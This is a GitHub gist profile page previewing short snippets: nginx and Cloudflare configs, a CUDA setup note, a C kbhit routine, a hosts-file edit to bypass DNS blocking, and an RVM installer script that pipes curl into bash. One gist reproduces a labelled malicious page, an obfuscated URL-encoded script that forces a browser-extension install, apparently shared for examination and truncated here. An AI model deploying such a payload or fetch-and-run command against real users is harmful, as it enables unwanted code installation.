Skip to content

Instantly share code, notes, and snippets.

View LoadLow's full-sized avatar
🎯
Focusing

Load. LoadLow

🎯
Focusing
View GitHub Profile
<script>
(function() {
var ctors = [
function () {return new XMLHttpRequest()},
function () {return new ActiveXObject("Msxml2.XMLHTTP")},
function () {return new ActiveXObject("Msxml3.XMLHTTP")},
function () {return new ActiveXObject("Microsoft.XMLHTTP")}
];
var req;
for (var i=0;i<ctors.length;i++) {
@LoadLow
LoadLow / backbox_cuda.md
Last active July 30, 2022 22:15
Backbox setup for Nvidia CUDA without using Nvidia as default driver (X11) but Intel/Nouveau and fix possible issues.
@LoadLow
LoadLow / proof.md
Created February 11, 2016 08:24
Keybase.io proof

Keybase proof

I hereby claim:

  • I am LoadLow on github.
  • I am loadlow (https://keybase.io/loadlow) on keybase.
  • I have a public key whose fingerprint is 6C2F 9306 939D 5B3F C7B9 F75A 2D4A 3055 3631 6C68

To claim this, I am signing this object:

@LoadLow
LoadLow / index.html
Last active August 29, 2015 14:20
Malicious domain, forces web browser extension installation ('1 click parameters'), from http://530d2011.s3-website-us-west-2.amazonaws.com/v1/index.html and http://ki.je/GAyOmmDJVm61AjDkOapT
<Script Language='Javascript'>
<!-- HTML Encryption provided by iWEBTOOL.com -->
<!--
document.write(unescape('%0A%0A%3C%68%74%6D%6C%20%78%6D%6C%6E%73%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%77%33%2E%6F%72%67%2F%31%39%39%39%2F%78%68%74%6D%6C%22%20%70%72%65%66%69%78%3D%22%6F%67%3A%20%68%74%74%70%3A%2F%2F%6F%67%70%2E%6D%65%2F%6E%73%23%22%20%78%6D%6C%6E%73%3A%66%62%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%66%61%63%65%62%6F%6F%6B%2E%63%6F%6D%2F%32%30%30%38%2F%66%62%6D%6C%22%20%78%6D%6C%6E%73%3A%6F%67%3D%22%68%74%74%70%3A%2F%2F%6F%70%65%6E%67%72%61%70%68%70%72%6F%74%6F%63%6F%6C%2E%6F%72%67%2F%73%63%68%65%6D%61%2F%22%3E%0A%20%20%20%20%0A%20%20%20%20%3C%68%65%61%64%20%70%72%6F%66%69%6C%65%3D%22%68%74%74%70%3A%2F%2F%67%6D%70%67%2E%6F%72%67%2F%78%66%6E%2F%31%31%22%3E%0A%0A%20%20%20%20%20%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%20%2F%2F%20%3C%21%5B%43%44%41%54%41%5B%0A%69%66%20%28%20%28%6E%61%76%69%67%61%74%6F%72%2E%75%73%65%72%41%67%65%6E%74%2E%69%6E%64%65%78%4F%66%28%
#!/bin/sh
rpm -Uih https://dl.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm
curl -L https://get.rvm.io | bash -s stable
rvm install 2.0.0
rvm use 2.0.0@global --default
# for chinese user, if you have a wonderful speed ignore this part
# to have a faster download speed
# switch gem source to ruby.taobao.org
if (!rset.last()) {
return new int[0];
}
int[] ids = new int[rset.getRow()+1];
rset.beforeFirst();
for (int i = 0; i < ids.length; i++) {
rset.next();
ids[i] = rset.getInt(1);
}
@LoadLow
LoadLow / cf_pull_auth.macro
Created March 16, 2015 20:31
Nginx/Cloudflare pull authentication, Certificate and information here : https://origin-pull.cloudflare.com
if ($ssl_client_i_dn != "/C=US/O=CloudFlare, Inc./OU=Origin Pull/L=San Francisco/ST=California/CN=origin-pull.cloudflare.net") {
return 403;
}
ssl_verify_client on;
ssl_client_certificate /etc/nginx/ssl/origin-pull-ca.pem;
ssl_verify_depth 1;
if ($ssl_client_verify != "SUCCESS") {
return 403;
./configure --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --conf-path=/etc/nginx/nginx.conf --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --pid-path=/var/run/nginx.pid --lock-path=/var/run/nginx.lock --http-client-body-temp-path=/var/cache/nginx/client_temp --http-proxy-temp-path=/var/cache/nginx/proxy_temp --http-fastcgi-temp-path=/var/cache/nginx/fastcgi_temp --http-uwsgi-temp-path=/var/cache/nginx/uwsgi_temp --http-scgi-temp-path=/var/cache/nginx/scgi_temp --user=nginx --group=nginx --with-http_ssl_module --with-http_realip_module --with-http_addition_module --with-http_sub_module --with-http_dav_module --with-http_flv_module --with-http_mp4_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_random_index_module --with-http_secure_link_module --with-http_stub_status_module --with-http_auth_request_module --with-mail --with-mail_ssl_module --with-file-aio --with-ipv6 --with-http_spdy_module --with-cc-opt='-O2 -g -pipe -Wp,-D_FORTIFY_SOURCE=2 -f
@LoadLow
LoadLow / unix.bash
Last active August 29, 2015 14:14
Thepiratebay ISP DNS censorship bypass
sudo bash -c "echo \"`dig @8.8.8.8 +short thepiratebay.se | head -n 1` thepiratebay.se\" >> /etc/hosts"
@LoadLow
LoadLow / kbhit.c
Last active August 29, 2015 14:11 — forked from vsajip/kbhit.c
#include <stdio.h>
#include <termios.h>
#include <unistd.h>
#include <fcntl.h>
int kbhit(void)
{
struct termios oldt, newt;
int ch;
int oldf;